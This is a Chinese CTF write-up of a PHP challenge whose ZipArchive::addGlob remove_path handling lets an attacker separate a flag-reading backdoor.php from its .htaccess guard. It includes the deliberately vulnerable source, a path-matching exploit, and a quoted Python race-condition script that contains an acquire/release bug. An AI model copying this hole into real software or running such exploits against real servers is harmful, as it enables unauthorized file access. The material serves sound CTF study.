[2023拟态防御]noumisotuitennnoka
题目环境
index.php
<?php
highlight_file(__FILE__);
$dir = '/tmp';
$htContent = <<<EOT
<Files "backdoor.php">
Deny from all
</Files>
EOT;
$action = $_GET['action'] ?? 'create';
$content = $_GET['content'] ?? '<?php echo file_get_contents("/flag");@unlink(__FILE__);';
$subdir = $_GET['subdir'] ?? '/jsons';
if(!preg_match('/^\/\.?[a-z]+$/', $subdir) || strlen($subdir) > 10)
die("....");
$jsonDir = $dir . $subdir;
$escapeDir = '/var/www/html' . $subdir;
$archiveFile = $jsonDir . '/archive.zip';
if($action == 'create'){
// create jsons/api.json
@mkdir($jsonDir);
file_put_contents($jsonDir. '/backdoor.php', $content);
file_put_contents($jsonDir. '/.htaccess',$htContent);
}
if($action == 'zip'){
delete($archiveFile);
// create archive.zip
$dev_dir = $_GET['dev'] ?? $dir;
if(realpath($dev_dir) !== $dir)
die('...');
$zip = new ZipArchive();
$zip->open($archiveFile, ZipArchive::CREATE);
$zip->addGlob($jsonDir . '/**', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
$zip->addGlob($jsonDir . '/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
$zip->close();
}
if($action == 'unzip' && is_file($archiveFile)){
$zip = new ZipArchive();
$zip->open($archiveFile);
$zip->extractTo('/');
$zip->close();
}
if($action == 'clean'){
if (file_exists($escapeDir))
delete($escapeDir);
else
echo "Failed.(/var/www/html)";
if (file_exists($jsonDir))
delete($jsonDir);
else
echo "Failed.(/tmp)";
}
function delete($path){
if(is_file($path))
@unlink($path);
elseif (is_dir($path))
@rmdir($path);
}
dockerfile
FROM php:7.4-apache
RUN apt-get update && \
apt-get install -y \
libzip-dev \
zlib1g-dev \
&& rm -rf /var/lib/apt/lists/*
RUN docker-php-ext-install zip
COPY index.php /var/www/html/
build
docker build -t noumisotuitennnoka .
启动
docker run -itd -p 9988:80 noumisotuitennnoka2
当时的思路
整个流程分析下来,很多参数的限制都很大。觉得最可疑的就是$_GET['dev']这个参数,它也是直接被用作remove_path传入的。
搜了下ZipArchive::addGlob的用法,remove_path是添加到存档之前要从匹配的文件路径中删除的前缀,它是在add_path之前生效的。

测试当被压缩的文件位置在/tmp/xxx目录下,remove_path传入的参数为/tmp/xxx/,解压之后所有文件的第一个字符都被吞掉了。这样就可以让.htaccess失效

测试代码
<?php
ini_set('display_errors','1');
$dir = "/tmp";
$subdir = "/xxx";
$jsonDir = $dir . $subdir;
$archiveFile = $jsonDir . '/archive.zip';
$ksDir = '/tmp/xxx/';
$action = 'unzip';
//$action = 'zip';
if($action == 'unzip'){
// create jsons/api.json
@mkdir($jsonDir);
file_put_contents($jsonDir. '/backdoor.php', "123");
file_put_contents($jsonDir. '/.htaccess', "123");
}
if($action == 'unzip') {
delete($archiveFile);
$zip = new ZipArchive();
$zip->open($archiveFile, ZipArchive::CREATE);
$zip->addGlob($jsonDir . '/**', 0, ['add_path' => 'html/', 'remove_path' => $ksDir]);
$zip->addGlob($jsonDir . '/.htaccess', 0, ['add_path' => 'html/', 'remove_path' => $ksDir]);
$zip->close();
}
if($action == 'unzip' && is_file($archiveFile)){
$zip = new ZipArchive();
$zip->open($archiveFile);
$zip->extractTo('../');
$zip->close();
}
function delete($path){
if(is_file($path))
@unlink($path);
elseif (is_dir($path))
@rmdir($path);
}
remove_path确实有问题,但由于if(realpath($dev_dir) !== $dir){dei('...');};的限制,这样的思路只有压缩文件位置在/tmp目录下才能生效。
但题目并不能让我们把文件写到/tmp目录下,而且后面测试也发现题目的网站根目录也没有可写权限。当时看这道题已经很晚了,最后也没有解出。
解法一
问题就在这个remove_path,因为没有源码,只有自己测试出来。
当remove_path没有匹配到文件的路径的时候(比如/tmp/xx1),remove_path会失效文件的归档位置将不会改变。

当remove_path匹配了部分路径,比如文件位置为/tmp/xxx/backdoor.php,remove_path=/xxx/b,解压后文件的位置就会发生变化

甚至说不用匹配到有目录的位置,只要是这个路径字符串中任意一个字串(ack),都会让这个解压的路径发生改变。
于是能在满足if(realpath($dev_dir) !== $dir){dei('...');};的限制下,我们在/tmp/tmp目录下生成文件,然后令$dev_dir=/tmp/.。这样文件路径/tmp/tmp/.htaccess就会通过/tmp/.来匹配到。进而让backdoor.php与.htaccess不在同一目录下。

然后访问/tmp/tmp/backdoor.php就行了。

解法二
还有一种思路是用条件竞争,因为写入backdoor.php和.htaccess这个操作之间存在间隔。如果执行zip操作的时候,.htaccess还没写入。那么执行unzip的时候就不会有.htaccess存在,进而执行到backdoor.php。
参考山石战队的脚本
import threading
import requests
url = "http://127.0.0.1:9988/"
sess = requests.session()
t = threading.Semaphore(80)
def clean():
while True:
t.acquire()
p = {"action": "clean", "subdir": "/xxx"}
sess.get(url, params=p)
t.release()
def create():
while True:
t.acquire()
p = {"action": "create", "subdir": "/xxx"}
sess.get(url, params=p)
t.acquire()
def zip():
while True:
t.acquire()
p = {"action": "zip", "subdir": "/xxx"}
sess.get(url, params=p)
t.acquire()
def unzip():
while True:
t.acquire()
p = {"action": "unzip", "subdir": "/xxx"}
sess.get(url, params=p)
t.acquire()
threading.Thread(target=clean).start()
threading.Thread(target=create).start()
threading.Thread(target=create).start()
threading.Thread(target=zip).start()
threading.Thread(target=unzip).start()
while True:
fh = sess.get(url + "xxx/backdoor.php")
if fh.status_code != 403:
print(fh.text)

一点总结
记这道到不说考了一个多牛的知识点,其实我感觉之后也不会看到ZipArchive::addGlob这玩意儿了。
这道题给我感觉更像是一种随机应变吧,在网上无法直接搜到相关知识点,只有自己分析题目的话该怎么做。
条件竞争不说了,之前确实接触的少。第一种解法现在看,在已经锁定了dev的问题之后,其实也可以反推它传入参数的可能性,这样说不定会想到的可能性大一点。